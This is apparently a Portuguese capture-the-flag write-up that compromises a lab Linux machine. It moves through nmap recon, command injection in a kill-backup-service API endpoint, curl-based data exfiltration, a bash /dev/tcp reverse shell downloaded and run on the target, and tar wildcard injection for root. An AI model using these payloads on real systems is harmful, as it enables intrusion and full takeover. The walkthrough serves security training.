Informações sobre a maquina:
Pontos: 100
Nível: Fácil
SO: Linux
Primeiramente fiz um breve scan de portas usando o nmap
**~$ nmap -Pn -sV 10.8.0.33**
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.51 (() PHP/7.4.21)
111/tcp open rpcbind 2-4 (RPC #100000)
3306/tcp open mysql MySQL 5.5.68-MariaDB
Depois das portas serem scaneadas, comecei o acesso web. Consegui identificar dois “sudomínios” reports.* e idp.*
reports.labdepentest.com.br
→ Ele tem um botão para fazer login com SSO que redireciona para o idp.labdepentest.com.br
→ Está pedindo um email e senha para login, como não tenho, então me registrei

→ Após me registar, voltei para a url reports.labdepentest.com.br e autorizei o login no Reports App.

→ Após autorizar, fui redirecionado para uma pagina onde consta Title e Content, que basicamente é para criar report, tentei alguns XSS, mas nada deu certo e também não tinha nenhuma informação interessante. Então decidi olhar o código fonte e tinha algo bem legal lá

→ Logo efetuei o logout e criei um novo usuário com o email [email protected] no idp.labdepentest.com.br

→ Após criar o login, refiz todo o processo de autorização com Reports App e após autenticar tinha um report interessante falando sobre um endpoint /api/report-backup-service. Ele tem um bug, quando envia uma requisição GET retorna o stack trace da aplicação, e nele é possível ver uma parte do código fonte.

→ Então vamos la acessar esse carinha.
GET: *http://reports.labdepentest.com.br/api/report-backup-service*
E temos aqui o nosso querido stack trace, com uma parte do código fonte dos endpoint das api's

→ Analisando o código, podemos ver que existe um endpoint do tipo POST /kill-backup-service, que basicamente você passa um PID e depois executa um kill -9, interessante que não tem nenhum tratamento no que é passado na API, então é possível fazer um Command Injection. Vamos começar a brincadeira.
POST: *http://reports.labdepentest.com.br/api/kill-backup-service/90909090;id*

Postman
→ Bom, não trouxe nenhum resultado sobre o id. Então decidi fazer uma "gambiarra" provavelmente existe formas melhores de fazer isso, mas até o presente momento deu tudo certo.
Abri uma porta usando o nc -lnvp 8888 em seguida mandei a seguinte requisição usando o CURL
POST: http://reports.labdepentest.com.br/api/kill-backup-service/252525;curl [IP DA SUA VPN]:8888 -e "pwd"
Obs: Substituir aspas por crase ( ` )
~$ curl --help
-e, --referer <URL> Referrer URL
Referer → https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Headers/Referer
O cabeçalho de requisição HTTP
Referercontém o endereço da página web anterior do qual a página atual requerida foi chamada. ORefererpermite aos servidores identificar de onde as pessoas estão visitando eles e pode usar esses dados para análise, log e cacheamento otimizado, por exemplo.
→ E então tive o seguinte resultado…
**~$ nc -lnvp 8888**
Connection from 10.8.0.33:35332
GET / HTTP/1.1
User-Agent: curl/7.79.1
Accept: */*
**Referer: /var/www/reports.labdepentest.com.br/public**
→ Depois de comprovar que o Command Injection funcionou, tentei fazer uma revese shell usando algumas payloads que consegui em **revshells.com** mas nenhuma funcionou, não sei exatamente o porque. Então decidi criar um arquivo .sh com a payload e baixar na maquina via API.
vim rshell.sh
/bin/bash -i >& /dev/tcp/[IP DA SUA VPN]/[PORTA DA REVERSE SHELL] 0>&1
:wq!
→ Depois que criei minha reverse shell, iniciei um servidor web usando o php
php -S 0.0.0.0:8002 rshell.sh
→ Depois disso, você manda a seguinte requisição
POST: http://reports.labdepentest.com.br/api/kill-backup-service/252525;curl [IP DA SUAVPN]:8002 --output rshell.sh

→ Pronto se tudo deu certo a payload de reverse shell está dentro da maquina. Agora você manda outra requisição "qualquer" somente para executar a payload
POST: http://reports.labdepentest.com.br/api/kill-backup-service/252525;curl [IP DA SUAVPN]:8002 -e "bash rshell.sh”
Obs: Substituir aspas por crase ( ` )
→ E voilá, reverse shell concluída.

→ Agora vamos escalar nosso privilegio. Podemos ver que na crontab temos um “script” executando de 1/1 minuto.

→ Não veio nada na minha cabeça, então fiz uma breve pesquisa no google sobre como escalar privilégios com tar. Encontrei algo sobre Wildcard Injection TAR, nesse link explica um pouco o que é Wildcard Injection.
Privilege Escalation Using Wildcard Injection | Tar Wildcard Injection |
→ Vamos usar o exploit que foi passado no site acima com um toque especial. Vamos entrar no diretório onde roda o tar -zcf*(/var/www/idp.labdepentest.com.br/storage).*
Primeiramente vamos abrir a porta 2021 com nc -lnvp 2021. Depois que a porta estiver aberto, rode os seguintes comandos.
$ cd /var/www/idp.labdepentest.com.br/storage
$ echo "/bin/bash -i >& /dev/tcp/[IP VPN]/2021 0>&1" > shell.sh
$ echo "" > "--checkpoint-action=exec=sh shell.sh"
$ echo "" > --checkpoint=1
→ Agora é só aguardar a reverse shell com root. E está lá !

Agora é só pegar a ultima flag e concluir a maquina !